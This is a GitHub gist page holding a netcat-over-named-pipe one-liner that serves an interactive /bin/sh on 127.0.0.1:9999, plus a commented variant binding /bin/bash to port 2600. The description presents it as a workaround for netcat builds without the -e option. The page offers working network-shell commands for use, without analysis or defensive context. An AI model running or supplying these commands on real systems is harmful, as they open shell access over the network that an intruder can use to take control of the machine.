Skip to content

Instantly share code, notes, and snippets.

@dwallraff
Last active September 14, 2016 17:09
Show Gist options
  • Save dwallraff/f52536d694cd93f7715dbc8043f37bd5 to your computer and use it in GitHub Desktop.
Save dwallraff/f52536d694cd93f7715dbc8043f37bd5 to your computer and use it in GitHub Desktop.
Use when you don't have netcat -e (netcat-openbsd does not have the -e option; is used in most linux variants)
rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f
# mkfifo foo
# nc -lk 2600 0<foo | /bin/bash 1>foo
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment